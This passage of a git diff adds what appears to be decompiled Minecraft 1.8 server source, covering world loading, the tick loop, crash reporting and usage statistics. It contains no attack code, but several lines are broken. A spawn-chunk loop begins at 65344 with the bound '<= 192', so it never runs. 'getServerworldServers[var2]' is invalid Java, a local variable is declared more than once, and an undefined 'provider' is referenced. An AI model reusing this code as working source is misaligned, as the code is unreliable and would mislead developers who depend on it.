+  protected final Queue futureTaskQueue = com.google.common.collect.Queues.newArrayDeque();
+  private Thread serverThread;
+  private long currentTime = getCurrentTimeMillis();
+  private static final String __OBFID = "CL_00001462";
+  
+  public MinecraftServer(Proxy p_i46053_1_, File p_i46053_2_)
+  {
+    serverProxy = p_i46053_1_;
+    mcServer = this;
+    anvilFile = null;
+    networkSystem = null;
+    profileCache = new PlayerProfileCache(this, p_i46053_2_);
+    commandManager = null;
+    anvilConverterForAnvilFile = null;
+    authService = new YggdrasilAuthenticationService(p_i46053_1_, UUID.randomUUID().toString());
+    sessionService = authService.createMinecraftSessionService();
+    profileRepo = authService.createProfileRepository();
+  }
+  
+  public MinecraftServer(File workDir, Proxy proxy, File profileCacheDir)
+  {
+    serverProxy = proxy;
+    mcServer = this;
+    anvilFile = workDir;
+    networkSystem = new NetworkSystem(this);
+    profileCache = new PlayerProfileCache(this, profileCacheDir);
+    commandManager = createNewCommandManager();
+    anvilConverterForAnvilFile = new AnvilSaveConverter(workDir);
+    authService = new YggdrasilAuthenticationService(proxy, UUID.randomUUID().toString());
+    sessionService = authService.createMinecraftSessionService();
+    profileRepo = authService.createProfileRepository();
+  }
+  
+  protected ServerCommandManager createNewCommandManager()
+  {
+    return new ServerCommandManager();
+  }
+  
+
+  protected abstract boolean startServer()
+    throws IOException;
+  
+
+  protected void convertMapIfNeeded(String worldNameIn)
+  {
+    if (getActiveAnvilConverter().isOldMapFormat(worldNameIn))
+    {
+      logger.info("Converting map!");
+      setUserMessage("menu.convertingLevel");
+      getActiveAnvilConverter().convertMapFormat(worldNameIn, new net.minecraft.util.IProgressUpdate()
+      {
+        private long startTime = System.currentTimeMillis();
+        
+        public void displaySavingString(String message) {}
+        
+        public void resetProgressAndMessage(String p_73721_1_) {}
+        
+        public void setLoadingProgress(int progress) { if (System.currentTimeMillis() - startTime >= 1000L)
+          {
+            startTime = System.currentTimeMillis();
+            MinecraftServer.logger.info("Converting... " + progress + "%");
+          }
+        }
+        
+
+        public void setDoneWorking() {}
+        
+        public void displayLoadingString(String message) {}
+      });
+    }
+  }
+  
+  protected synchronized void setUserMessage(String message)
+  {
+    userMessage = message;
+  }
+  
+  public synchronized String getUserMessage()
+  {
+    return userMessage;
+  }
+  
+  protected void loadAllWorlds(String p_71247_1_, String p_71247_2_, long seed, WorldType type, String p_71247_6_)
+  {
+    convertMapIfNeeded(p_71247_1_);
+    setUserMessage("menu.loadingLevel");
+    worldServers = new WorldServer[3];
+    timeOfLastDimensionTick = new long[worldServers.length][100];
+    ISaveHandler var7 = anvilConverterForAnvilFile.getSaveLoader(p_71247_1_, true);
+    setResourcePackFromWorld(getFolderName(), var7);
+    WorldInfo var9 = var7.loadWorldInfo();
+    
+    WorldSettings var8;
+    if (var9 == null) { WorldSettings var8;
+      WorldSettings var8;
+      if (isDemo())
+      {
+        var8 = DemoWorldServer.demoWorldSettings;
+      }
+      else
+      {
+        var8 = new WorldSettings(seed, getGameType(), canStructuresSpawn(), isHardcore(), type);
+        var8.setWorldName(p_71247_6_);
+        
+        if (enableBonusChest)
+        {
+          var8.enableBonusChest();
+        }
+      }
+      
+      var9 = new WorldInfo(var8, p_71247_2_);
+    }
+    else
+    {
+      var9.setWorldName(p_71247_2_);
+      var8 = new WorldSettings(var9);
+    }
+    
+    for (int var10 = 0; var10 < worldServers.length; var10++)
+    {
+      byte var11 = 0;
+      
+      if (var10 == 1)
+      {
+        var11 = -1;
+      }
+      
+      if (var10 == 2)
+      {
+        var11 = 1;
+      }
+      
+      if (var10 == 0)
+      {
+        if (isDemo())
+        {
+          worldServers[var10] = ((WorldServer)new DemoWorldServer(this, var7, var9, var11, theProfiler).init());
+        }
+        else
+        {
+          worldServers[var10] = ((WorldServer)new WorldServer(this, var7, var9, var11, theProfiler).init());
+        }
+        
+        worldServers[var10].initialize(var8);
+      }
+      else
+      {
+        worldServers[var10] = ((WorldServer)new WorldServerMulti(this, var7, var11, worldServers[0], theProfiler).init());
+      }
+      
+      worldServers[var10].addWorldAccess(new net.minecraft.world.WorldManager(this, worldServers[var10]));
+      
+      if (!isSinglePlayer())
+      {
+        worldServers[var10].getWorldInfo().setGameType(getGameType());
+      }
+    }
+    
+    serverConfigManager.setPlayerManager(worldServers);
+    setDifficultyForAllWorlds(getDifficulty());
+    initialWorldChunkLoad();
+  }
+  
+  protected void initialWorldChunkLoad()
+  {
+    boolean var1 = true;
+    boolean var2 = true;
+    boolean var3 = true;
+    boolean var4 = true;
+    int var5 = 0;
+    setUserMessage("menu.generatingTerrain");
+    byte var6 = 0;
+    logger.info("Preparing start region for level " + var6);
+    WorldServer var7 = worldServers[var6];
+    BlockPos var8 = var7.getSpawnPoint();
+    long var9 = getCurrentTimeMillis();
+    
+    for (int var11 = 65344; (var11 <= 192) && (isServerRunning()); var11 += 16)
+    {
+      for (int var12 = 65344; (var12 <= 192) && (isServerRunning()); var12 += 16)
+      {
+        long var13 = getCurrentTimeMillis();
+        
+        if (var13 - var9 > 1000L)
+        {
+          outputPercentRemaining("Preparing spawn area", var5 * 100 / 625);
+          var9 = var13;
+        }
+        
+        var5++;
+        theChunkProviderServer.loadChunk(var8.getX() + var11 >> 4, var8.getZ() + var12 >> 4);
+      }
+    }
+    
+    clearCurrentTask();
+  }
+  
+  protected void setResourcePackFromWorld(String worldNameIn, ISaveHandler saveHandlerIn)
+  {
+    File var3 = new File(saveHandlerIn.getWorldDirectory(), "resources.zip");
+    
+    if (var3.isFile())
+    {
+      setResourcePack("level://" + worldNameIn + "/" + var3.getName(), "");
+    }
+  }
+  
+
+
+  public abstract boolean canStructuresSpawn();
+  
+
+
+  public abstract WorldSettings.GameType getGameType();
+  
+
+
+  public abstract EnumDifficulty getDifficulty();
+  
+
+  public abstract boolean isHardcore();
+  
+
+  public abstract int getOpPermissionLevel();
+  
+
+  protected void outputPercentRemaining(String message, int percent)
+  {
+    currentTask = message;
+    percentDone = percent;
+    logger.info(message + ": " + percent + "%");
+  }
+  
+
+
+
+  protected void clearCurrentTask()
+  {
+    currentTask = null;
+    percentDone = 0;
+  }
+  
+
+
+
+  protected void saveAllWorlds(boolean dontLog)
+  {
+    if (!worldIsBeingDeleted)
+    {
+      WorldServer[] var2 = worldServers;
+      int var3 = var2.length;
+      
+      for (int var4 = 0; var4 < var3; var4++)
+      {
+        WorldServer var5 = var2[var4];
+        
+        if (var5 != null)
+        {
+          if (!dontLog)
+          {
+            logger.info("Saving chunks for level '" + var5.getWorldInfo().getWorldName() + "'/" + provider.getDimensionName());
+          }
+          
+          try
+          {
+            var5.saveAllChunks(true, null);
+          }
+          catch (MinecraftException var7)
+          {
+            logger.warn(var7.getMessage());
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+  public void stopServer()
+  {
+    if (!worldIsBeingDeleted)
+    {
+      logger.info("Stopping server");
+      
+      if (getNetworkSystem() != null)
+      {
+        getNetworkSystem().terminateEndpoints();
+      }
+      
+      if (serverConfigManager != null)
+      {
+        logger.info("Saving players");
+        serverConfigManager.saveAllPlayerData();
+        serverConfigManager.removeAllPlayers();
+      }
+      
+      if (worldServers != null)
+      {
+        logger.info("Saving worlds");
+        saveAllWorlds(false);
+        
+        for (int var1 = 0; var1 < worldServers.length; var1++)
+        {
+          WorldServer var2 = worldServers[var1];
+          var2.flush();
+        }
+      }
+      
+      if (usageSnooper.isSnooperRunning())
+      {
+        usageSnooper.stopSnooper();
+      }
+    }
+  }
+  
+  public boolean isServerRunning()
+  {
+    return serverRunning;
+  }
+  
+
+
+
+  public void initiateShutdown()
+  {
+    serverRunning = false;
+  }
+  
+  protected void func_175585_v()
+  {
+    mcServer = this;
+  }
+  
+  public void run()
+  {
+    try
+    {
+      if (startServer())
+      {
+        currentTime = getCurrentTimeMillis();
+        long var1 = 0L;
+        statusResponse.setServerDescription(new ChatComponentText(motd));
+        statusResponse.setProtocolVersionInfo(new net.minecraft.network.ServerStatusResponse.MinecraftProtocolVersionIdentifier("1.8", 47));
+        addFaviconToStatusResponse(statusResponse);
+        
+        while (serverRunning)
+        {
+          long var48 = getCurrentTimeMillis();
+          long var5 = var48 - currentTime;
+          
+          if ((var5 > 2000L) && (currentTime - timeOfLastWarning >= 15000L))
+          {
+            logger.warn("Can't keep up! Did the system time change, or is the server overloaded? Running {}ms behind, skipping {} tick(s)", new Object[] { Long.valueOf(var5), Long.valueOf(var5 / 50L) });
+            var5 = 2000L;
+            timeOfLastWarning = currentTime;
+          }
+          
+          if (var5 < 0L)
+          {
+            logger.warn("Time ran backwards! Did the system time change?");
+            var5 = 0L;
+          }
+          
+          var1 += var5;
+          currentTime = var48;
+          
+          if (worldServers[0].areAllPlayersAsleep())
+          {
+            tick();
+            var1 = 0L;
+          }
+          else
+          {
+            while (var1 > 50L)
+            {
+              var1 -= 50L;
+              tick();
+            }
+          }
+          
+          Thread.sleep(Math.max(1L, 50L - var1));
+          serverIsRunning = true;
+        }
+      }
+      else
+      {
+        finalTick(null);
+      }
+    }
+    catch (Throwable var46)
+    {
+      logger.error("Encountered an unexpected exception", var46);
+      CrashReport var2 = null;
+      
+      if ((var46 instanceof ReportedException))
+      {
+        var2 = addServerInfoToCrashReport(((ReportedException)var46).getCrashReport());
+      }
+      else
+      {
+        var2 = addServerInfoToCrashReport(new CrashReport("Exception in server tick loop", var46));
+      }
+      
+      File var3 = new File(new File(getDataDirectory(), "crash-reports"), "crash-" + new SimpleDateFormat("yyyy-MM-dd_HH.mm.ss").format(new Date()) + "-server.txt");
+      
+      if (var2.saveToFile(var3))
+      {
+        logger.error("This crash report has been saved to: " + var3.getAbsolutePath());
+      }
+      else
+      {
+        logger.error("We were unable to save this crash report to disk.");
+      }
+      
+      finalTick(var2);
+    }
+    finally
+    {
+      try
+      {
+        stopServer();
+        serverStopped = true;
+      }
+      catch (Throwable var44)
+      {
+        logger.error("Exception stopping the server", var44);
+      }
+      finally
+      {
+        systemExitNow();
+      }
+    }
+  }
+  
+  private void addFaviconToStatusResponse(ServerStatusResponse response)
+  {
+    File var2 = getFile("server-icon.png");
+    
+    if (var2.isFile())
+    {
+      ByteBuf var3 = io.netty.buffer.Unpooled.buffer();
+      
+      try
+      {
+        BufferedImage var4 = ImageIO.read(var2);
+        Validate.validState(var4.getWidth() == 64, "Must be 64 pixels wide", new Object[0]);
+        Validate.validState(var4.getHeight() == 64, "Must be 64 pixels high", new Object[0]);
+        ImageIO.write(var4, "PNG", new io.netty.buffer.ByteBufOutputStream(var3));
+        ByteBuf var5 = io.netty.handler.codec.base64.Base64.encode(var3);
+        response.setFavicon("data:image/png;base64," + var5.toString(Charsets.UTF_8));
+      }
+      catch (Exception var9)
+      {
+        logger.error("Couldn't load server icon", var9);
+      }
+      finally
+      {
+        var3.release();
+      }
+    }
+  }
+  
+  public File getDataDirectory()
+  {
+    return new File(".");
+  }
+  
+
+
+
+  protected void finalTick(CrashReport report) {}
+  
+
+
+
+  protected void systemExitNow() {}
+  
+
+
+
+  public void tick()
+  {
+    long var1 = System.nanoTime();
+    tickCounter += 1;
+    
+    if (startProfiling)
+    {
+      startProfiling = false;
+      theProfiler.profilingEnabled = true;
+      theProfiler.clearProfiling();
+    }
+    
+    theProfiler.startSection("root");
+    updateTimeLightAndEntities();
+    
+    if (var1 - nanoTimeSinceStatusRefresh >= 5000000000L)
+    {
+      nanoTimeSinceStatusRefresh = var1;
+      statusResponse.setPlayerCountData(new ServerStatusResponse.PlayerCountData(getMaxPlayers(), getCurrentPlayerCount()));
+      GameProfile[] var3 = new GameProfile[Math.min(getCurrentPlayerCount(), 12)];
+      int var4 = MathHelper.getRandomIntegerInRange(random, 0, getCurrentPlayerCount() - var3.length);
+      
+      for (int var5 = 0; var5 < var3.length; var5++)
+      {
+        var3[var5] = ((EntityPlayerMP)serverConfigManager.playerEntityList.get(var4 + var5)).getGameProfile();
+      }
+      
+      java.util.Collections.shuffle(Arrays.asList(var3));
+      statusResponse.getPlayerCountData().setPlayers(var3);
+    }
+    
+    if (tickCounter % 900 == 0)
+    {
+      theProfiler.startSection("save");
+      serverConfigManager.saveAllPlayerData();
+      saveAllWorlds(true);
+      theProfiler.endSection();
+    }
+    
+    theProfiler.startSection("tallying");
+    tickTimeArray[(tickCounter % 100)] = (System.nanoTime() - var1);
+    theProfiler.endSection();
+    theProfiler.startSection("snooper");
+    
+    if ((!usageSnooper.isSnooperRunning()) && (tickCounter > 100))
+    {
+      usageSnooper.startSnooper();
+    }
+    
+    if (tickCounter % 6000 == 0)
+    {
+      usageSnooper.addMemoryStatsToSnooper();
+    }
+    
+    theProfiler.endSection();
+    theProfiler.endSection();
+  }
+  
+  public void updateTimeLightAndEntities()
+  {
+    theProfiler.startSection("jobs");
+    Queue var1 = futureTaskQueue;
+    
+    synchronized (futureTaskQueue)
+    {
+      while (!futureTaskQueue.isEmpty())
+      {
+        try
+        {
+          ((FutureTask)futureTaskQueue.poll()).run();
+        }
+        catch (Throwable var9)
+        {
+          logger.fatal(var9);
+        }
+      }
+    }
+    
+    theProfiler.endStartSection("levels");
+    
+
+    for (int var11 = 0; var11 < worldServers.length; var11++)
+    {
+      long var2 = System.nanoTime();
+      
+      if ((var11 == 0) || (getAllowNether()))
+      {
+        WorldServer var4 = worldServers[var11];
+        theProfiler.startSection(var4.getWorldInfo().getWorldName());
+        
+        if (tickCounter % 20 == 0)
+        {
+          theProfiler.startSection("timeSync");
+          serverConfigManager.sendPacketToAllPlayersInDimension(new S03PacketTimeUpdate(var4.getTotalWorldTime(), var4.getWorldTime(), var4.getGameRules().getGameRuleBooleanValue("doDaylightCycle")), provider.getDimensionId());
+          theProfiler.endSection();
+        }
+        
+        theProfiler.startSection("tick");
+        
+
+        try
+        {
+          var4.tick();
+        }
+        catch (Throwable var8)
+        {
+          CrashReport var6 = CrashReport.makeCrashReport(var8, "Exception ticking world");
+          var4.addWorldInfoToCrashReport(var6);
+          throw new ReportedException(var6);
+        }
+        
+        try
+        {
+          var4.updateEntities();
+        }
+        catch (Throwable var7)
+        {
+          CrashReport var6 = CrashReport.makeCrashReport(var7, "Exception ticking world entities");
+          var4.addWorldInfoToCrashReport(var6);
+          throw new ReportedException(var6);
+        }
+        
+        theProfiler.endSection();
+        theProfiler.startSection("tracker");
+        var4.getEntityTracker().updateTrackedEntities();
+        theProfiler.endSection();
+        theProfiler.endSection();
+      }
+      
+      timeOfLastDimensionTick[var11][(tickCounter % 100)] = (System.nanoTime() - var2);
+    }
+    
+    theProfiler.endStartSection("connection");
+    getNetworkSystem().networkTick();
+    theProfiler.endStartSection("players");
+    serverConfigManager.onTick();
+    theProfiler.endStartSection("tickables");
+    
+    for (var11 = 0; var11 < playersOnline.size(); var11++)
+    {
+      ((IUpdatePlayerListBox)playersOnline.get(var11)).update();
+    }
+    
+    theProfiler.endSection();
+  }
+  
+  public boolean getAllowNether()
+  {
+    return true;
+  }
+  
+  public void startServerThread()
+  {
+    serverThread = new Thread(this, "Server thread");
+    serverThread.start();
+  }
+  
+
+
+
+  public File getFile(String fileName)
+  {
+    return new File(getDataDirectory(), fileName);
+  }
+  
+
+
+
+  public void logWarning(String msg)
+  {
+    logger.warn(msg);
+  }
+  
+
+
+
+  public WorldServer worldServerForDimension(int dimension)
+  {
+    return dimension == 1 ? worldServers[2] : dimension == -1 ? worldServers[1] : worldServers[0];
+  }
+  
+
+
+
+  public String getMinecraftVersion()
+  {
+    return "1.8";
+  }
+  
+
+
+
+  public int getCurrentPlayerCount()
+  {
+    return serverConfigManager.getCurrentPlayerCount();
+  }
+  
+
+
+
+  public int getMaxPlayers()
+  {
+    return serverConfigManager.getMaxPlayers();
+  }
+  
+
+
+
+  public String[] getAllUsernames()
+  {
+    return serverConfigManager.getAllUsernames();
+  }
+  
+
+
+
+  public GameProfile[] getGameProfiles()
+  {
+    return serverConfigManager.getAllProfiles();
+  }
+  
+  public String getServerModName()
+  {
+    return "vanilla";
+  }
+  
+
+
+
+  public CrashReport addServerInfoToCrashReport(CrashReport report)
+  {
+    report.getCategory().addCrashSectionCallable("Profiler Position", new Callable()
+    {
+      private static final String __OBFID = "CL_00001418";
+      
+      public String func_179879_a() {
+        return theProfiler.profilingEnabled ? theProfiler.getNameOfLastSection() : "N/A (disabled)";
+      }
+      
+      public Object call() {
+        return func_179879_a();
+      }
+    });
+    
+    if (serverConfigManager != null)
+    {
+      report.getCategory().addCrashSectionCallable("Player Count", new Callable()
+      {
+        private static final String __OBFID = "CL_00001419";
+        
+        public String call() {
+          return serverConfigManager.getCurrentPlayerCount() + " / " + serverConfigManager.getMaxPlayers() + "; " + serverConfigManager.playerEntityList;
+        }
+      });
+    }
+    
+    return report;
+  }
+  
+  public List func_180506_a(ICommandSender p_180506_1_, String p_180506_2_, BlockPos p_180506_3_)
+  {
+    ArrayList var4 = Lists.newArrayList();
+    
+    if (p_180506_2_.startsWith("/"))
+    {
+      p_180506_2_ = p_180506_2_.substring(1);
+      boolean var11 = !p_180506_2_.contains(" ");
+      List var12 = commandManager.getTabCompletionOptions(p_180506_1_, p_180506_2_, p_180506_3_);
+      
+      if (var12 != null)
+      {
+        Iterator var13 = var12.iterator();
+        
+        while (var13.hasNext())
+        {
+          String var14 = (String)var13.next();
+          
+          if (var11)
+          {
+            var4.add("/" + var14);
+          }
+          else
+          {
+            var4.add(var14);
+          }
+        }
+      }
+      
+      return var4;
+    }
+    
+
+    String[] var5 = p_180506_2_.split(" ", -1);
+    String var6 = var5[(var5.length - 1)];
+    String[] var7 = serverConfigManager.getAllUsernames();
+    int var8 = var7.length;
+    
+    for (int var9 = 0; var9 < var8; var9++)
+    {
+      String var10 = var7[var9];
+      
+      if (CommandBase.doesStringStartWith(var6, var10))
+      {
+        var4.add(var10);
+      }
+    }
+    
+    return var4;
+  }
+  
+
+
+
+
+  public static MinecraftServer getServer()
+  {
+    return mcServer;
+  }
+  
+  public boolean func_175578_N()
+  {
+    return anvilFile != null;
+  }
+  
+
+
+
+  public String getName()
+  {
+    return "Server";
+  }
+  
+
+
+
+  private static final String __OBFID = "CL_00001417";
+  
+
+  public void addChatMessage(IChatComponent message)
+  {
+    logger.info(message.getUnformattedText());
+  }
+  
+
+
+
+  public boolean canCommandSenderUseCommand(int permissionLevel, String command)
+  {
+    return true;
+  }
+  
+  public ICommandManager getCommandManager()
+  {
+    return commandManager;
+  }
+  
+
+
+
+  public KeyPair getKeyPair()
+  {
+    return serverKeyPair;
+  }
+  
+
+
+
+  public String getServerOwner()
+  {
+    return serverOwner;
+  }
+  
+
+
+
+  public void setServerOwner(String owner)
+  {
+    serverOwner = owner;
+  }
+  
+  public boolean isSinglePlayer()
+  {
+    return serverOwner != null;
+  }
+  
+  public String getFolderName()
+  {
+    return folderName;
+  }
+  
+  public void setFolderName(String name)
+  {
+    folderName = name;
+  }
+  
+  public void setWorldName(String p_71246_1_)
+  {
+    worldName = p_71246_1_;
+  }
+  
+  public String getWorldName()
+  {
+    return worldName;
+  }
+  
+  public void setKeyPair(KeyPair keyPair)
+  {
+    serverKeyPair = keyPair;
+  }
+  
+  public void setDifficultyForAllWorlds(EnumDifficulty difficulty)
+  {
+    for (int var2 = 0; var2 < worldServers.length; var2++)
+    {
+      WorldServer var3 = worldServers[var2];
+      
+      if (var3 != null)
+      {
+        if (var3.getWorldInfo().isHardcoreModeEnabled())
+        {
+          var3.getWorldInfo().setDifficulty(EnumDifficulty.HARD);
+          var3.setAllowedSpawnTypes(true, true);
+        }
+        else if (isSinglePlayer())
+        {
+          var3.getWorldInfo().setDifficulty(difficulty);
+          var3.setAllowedSpawnTypes(var3.getDifficulty() != EnumDifficulty.PEACEFUL, true);
+        }
+        else
+        {
+          var3.getWorldInfo().setDifficulty(difficulty);
+          var3.setAllowedSpawnTypes(allowSpawnMonsters(), canSpawnAnimals);
+        }
+      }
+    }
+  }
+  
+  protected boolean allowSpawnMonsters()
+  {
+    return true;
+  }
+  
+
+
+
+  public boolean isDemo()
+  {
+    return isDemo;
+  }
+  
+
+
+
+  public void setDemo(boolean demo)
+  {
+    isDemo = demo;
+  }
+  
+  public void canCreateBonusChest(boolean enable)
+  {
+    enableBonusChest = enable;
+  }
+  
+  public ISaveFormat getActiveAnvilConverter()
+  {
+    return anvilConverterForAnvilFile;
+  }
+  
+
+
+
+
+  public void deleteWorldAndStopServer()
+  {
+    worldIsBeingDeleted = true;
+    getActiveAnvilConverter().flushCache();
+    
+    for (int var1 = 0; var1 < worldServers.length; var1++)
+    {
+      WorldServer var2 = worldServers[var1];
+      
+      if (var2 != null)
+      {
+        var2.flush();
+      }
+    }
+    
+    getActiveAnvilConverter().deleteWorldDirectory(worldServers[0].getSaveHandler().getWorldDirectoryName());
+    initiateShutdown();
+  }
+  
+  public String getResourcePackUrl()
+  {
+    return resourcePackUrl;
+  }
+  
+  public String getResourcePackHash()
+  {
+    return resourcePackHash;
+  }
+  
+  public void setResourcePack(String url, String hash)
+  {
+    resourcePackUrl = url;
+    resourcePackHash = hash;
+  }
+  
+  public void addServerStatsToSnooper(PlayerUsageSnooper playerSnooper)
+  {
+    playerSnooper.addClientStat("whitelist_enabled", Boolean.valueOf(false));
+    playerSnooper.addClientStat("whitelist_count", Integer.valueOf(0));
+    
+    if (serverConfigManager != null)
+    {
+      playerSnooper.addClientStat("players_current", Integer.valueOf(getCurrentPlayerCount()));
+      playerSnooper.addClientStat("players_max", Integer.valueOf(getMaxPlayers()));
+      playerSnooper.addClientStat("players_seen", Integer.valueOf(serverConfigManager.getAvailablePlayerDat().length));
+    }
+    
+    playerSnooper.addClientStat("uses_auth", Boolean.valueOf(onlineMode));
+    playerSnooper.addClientStat("gui_state", getGuiEnabled() ? "enabled" : "disabled");
+    playerSnooper.addClientStat("run_time", Long.valueOf((getCurrentTimeMillis() - playerSnooper.getMinecraftStartTimeMillis()) / 60L * 1000L));
+    playerSnooper.addClientStat("avg_tick_ms", Integer.valueOf((int)(MathHelper.average(tickTimeArray) * 1.0E-6D)));
+    int var2 = 0;
+    
+    if (worldServers != null)
+    {
+      for (int var3 = 0; var3 < worldServers.length; var3++)
+      {
+        if (worldServers[var3] != null)
+        {
+          WorldServer var4 = worldServers[var3];
+          WorldInfo var5 = var4.getWorldInfo();
+          playerSnooper.addClientStat("world[" + var2 + "][dimension]", Integer.valueOf(provider.getDimensionId()));
+          playerSnooper.addClientStat("world[" + var2 + "][mode]", var5.getGameType());
+          playerSnooper.addClientStat("world[" + var2 + "][difficulty]", var4.getDifficulty());
+          playerSnooper.addClientStat("world[" + var2 + "][hardcore]", Boolean.valueOf(var5.isHardcoreModeEnabled()));
+          playerSnooper.addClientStat("world[" + var2 + "][generator_name]", var5.getTerrainType().getWorldTypeName());
+          playerSnooper.addClientStat("world[" + var2 + "][generator_version]", Integer.valueOf(var5.getTerrainType().getGeneratorVersion()));
+          playerSnooper.addClientStat("world[" + var2 + "][height]", Integer.valueOf(buildLimit));
+          playerSnooper.addClientStat("world[" + var2 + "][chunks_loaded]", Integer.valueOf(var4.getChunkProvider().getLoadedChunkCount()));
+          var2++;
+        }
+      }
+    }
+    
+    playerSnooper.addClientStat("worlds", Integer.valueOf(var2));
+  }
+  
+  public void addServerTypeToSnooper(PlayerUsageSnooper playerSnooper)
+  {
+    playerSnooper.addStatToSnooper("singleplayer", Boolean.valueOf(isSinglePlayer()));
+    playerSnooper.addStatToSnooper("server_brand", getServerModName());
+    playerSnooper.addStatToSnooper("gui_supported", java.awt.GraphicsEnvironment.isHeadless() ? "headless" : "supported");
+    playerSnooper.addStatToSnooper("dedicated", Boolean.valueOf(isDedicatedServer()));
+  }
+  
+
+
+
+  public boolean isSnooperEnabled()
+  {
+    return true;
+  }
+  
+  public abstract boolean isDedicatedServer();
+  
+  public boolean isServerInOnlineMode()
+  {
+    return onlineMode;
+  }
+  
+  public void setOnlineMode(boolean online)
+  {
+    onlineMode = online;
+  }
+  
+  public boolean getCanSpawnAnimals()
+  {
+    return canSpawnAnimals;
+  }
+  
+  public void setCanSpawnAnimals(boolean spawnAnimals)
+  {
+    canSpawnAnimals = spawnAnimals;
+  }
+  
+  public boolean getCanSpawnNPCs()
+  {
+    return canSpawnNPCs;
+  }
+  
+  public void setCanSpawnNPCs(boolean spawnNpcs)
+  {
+    canSpawnNPCs = spawnNpcs;
+  }
+  
+  public boolean isPVPEnabled()
+  {
+    return pvpEnabled;
+  }
+  
+  public void setAllowPvp(boolean allowPvp)
+  {
+    pvpEnabled = allowPvp;
+  }
+  
+  public boolean isFlightAllowed()
+  {
+    return allowFlight;
+  }
+  
+  public void setAllowFlight(boolean allow)
+  {
+    allowFlight = allow;
+  }
+  
+
+
+  public abstract boolean isCommandBlockEnabled();
+  
+
+  public String getMOTD()
+  {
+    return motd;
+  }
+  
+  public void setMOTD(String motdIn)
+  {
+    motd = motdIn;
+  }
+  
+  public int getBuildLimit()
+  {
+    return buildLimit;
+  }
+  
+  public void setBuildLimit(int maxBuildHeight)
+  {
+    buildLimit = maxBuildHeight;
+  }
+  
+  public ServerConfigurationManager getConfigurationManager()
+  {
+    return serverConfigManager;
+  }
+  
+  public void setConfigManager(ServerConfigurationManager configManager)
+  {
+    serverConfigManager = configManager;
+  }
+  
+
+
+
+  public void setGameType(WorldSettings.GameType gameMode)
+  {
+    for (int var2 = 0; var2 < worldServers.length; var2++)
+    {
+      getServerworldServers[var2].getWorldInfo().setGameType(gameMode);
+    }
+  }
+  
+  public NetworkSystem getNetworkSystem()
+  {
+    return networkSystem;
+  }
+  
+  public boolean serverIsInRunLoop()
+  {
+    return serverIsRunning;
+  }
+  
+  public boolean getGuiEnabled()
+  {
+    return false;
+  }
+  
+
+
+  public abstract String shareToLAN(WorldSettings.GameType paramGameType, boolean paramBoolean);
+  
+
+  public int getTickCounter()
+  {
+    return tickCounter;
+  }
+  
+  public void enableProfiling()
+  {
+    startProfiling = true;
+  }
+  
+  public PlayerUsageSnooper getPlayerUsageSnooper()
+  {
+    return usageSnooper;
+  }
+  
+  public BlockPos getPosition()
+  {
+    return BlockPos.ORIGIN;
+  }
+  
+  public Vec3 getPositionVector()
+  {
+    return new Vec3(0.0D, 0.0D, 0.0D);
+  }
+  
+  public World getEntityWorld()
+  {
+    return worldServers[0];
+  }
+  
+  public Entity getCommandSenderEntity()
+  {
+    return null;
+  }
+  
+
+
+
+  public int getSpawnProtectionSize()
+  {
+    return 16;
+  }
+  
+  public boolean isBlockProtected(World worldIn, BlockPos pos, EntityPlayer playerIn)
+  {
+    return false;
+  }
+  
+  public boolean getForceGamemode()
+  {
+    return isGamemodeForced;
+  }
+  
+  public Proxy getServerProxy()
+  {
+    return serverProxy;
+  }
+  
+  public static long getCurrentTimeMillis()
+  {
+    return System.currentTimeMillis();
+  }
+  
+  public int getMaxPlayerIdleMinutes()
+  {
+    return maxPlayerIdleMinutes;
+  }
+  
+  public void setPlayerIdleTimeout(int idleTimeout)
+  {
+    maxPlayerIdleMinutes = idleTimeout;
+  }
+  
+  public IChatComponent getDisplayName()
+  {
+    return new ChatComponentText(getName());
+  }
+  
+  public boolean isAnnouncingPlayerAchievements()
+  {
+    return true;
+  }
+  
+  public MinecraftSessionService getMinecraftSessionService()
+  {
+    return sessionService;
+  }
+  
+  public GameProfileRepository getGameProfileRepository()
+  {
+    return profileRepo;
+  }
+  
+  public PlayerProfileCache getPlayerProfileCache()
+  {
+    return profileCache;
+  }
+  
+  public ServerStatusResponse getServerStatusResponse()
+  {
+    return statusResponse;
+  }
+  
+  public void refreshStatusNextTick()
+  {
+    nanoTimeSinceStatusRefresh = 0L;
+  }
+  
+  public Entity getEntityFromUuid(UUID uuid)
+  {
+    WorldServer[] var2 = worldServers;
+    int var3 = var2.length;
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      WorldServer var5 = var2[var4];
+      
+      if (var5 != null)
+      {
+        Entity var6 = var5.getEntityFromUuid(uuid);
+        
+        if (var6 != null)
+        {
+          return var6;
+        }
+      }
+    }
+    
+    return null;
+  }
+  
+  public boolean sendCommandFeedback()
+  {
+    return getServerworldServers[0].getGameRules().getGameRuleBooleanValue("sendCommandFeedback");
+  }
+  
+  public void func_174794_a(CommandResultStats.Type p_174794_1_, int p_174794_2_) {}
+  
+  public int getMaxWorldSize()
+  {
+    return 29999984;
+  }
+  
+  public ListenableFuture callFromMainThread(Callable callable)
+  {
+    Validate.notNull(callable);
+    
+    if (!isCallingFromMinecraftThread())
+    {
+      ListenableFutureTask var2 = ListenableFutureTask.create(callable);
+      Queue var3 = futureTaskQueue;
+      
+      synchronized (futureTaskQueue)
+      {
+        futureTaskQueue.add(var2);
+        return var2;
+      }
+    }
+    
+
+    try
+    {
+      return Futures.immediateFuture(callable.call());
+    }
+    catch (Exception var6)
+    {
+      return Futures.immediateFailedCheckedFuture(var6);
+    }
+  }
+  
+
+  public ListenableFuture addScheduledTask(Runnable runnableToSchedule)
+  {
+    Validate.notNull(runnableToSchedule);
+    return callFromMainThread(Executors.callable(runnableToSchedule));
+  }
+  
+  public boolean isCallingFromMinecraftThread()
+  {
+    return Thread.currentThread() == serverThread;
+  }
+  
+
+
+
+  public int getNetworkCompressionTreshold()
+  {
+    return 256;
+  }
+}
diff --git a/src/minecraft/net/minecraft/server/gui/IUpdatePlayerListBox.java b/src/minecraft/net/minecraft/server/gui/IUpdatePlayerListBox.java
new file mode 100644
index 0000000..ea8adcf
--- /dev/null
+++ b/src/minecraft/net/minecraft/server/gui/IUpdatePlayerListBox.java
@@ -0,0 +1,6 @@
+package net.minecraft.server.gui;
+
+public abstract interface IUpdatePlayerListBox
+{
+  public abstract void update();
+}
diff --git a/src/minecraft/net/minecraft/server/integrated/IntegratedPlayerList.java b/src/minecraft/net/minecraft/server/integrated/IntegratedPlayerList.java
new file mode 100644
index 0000000..a91b976
--- /dev/null
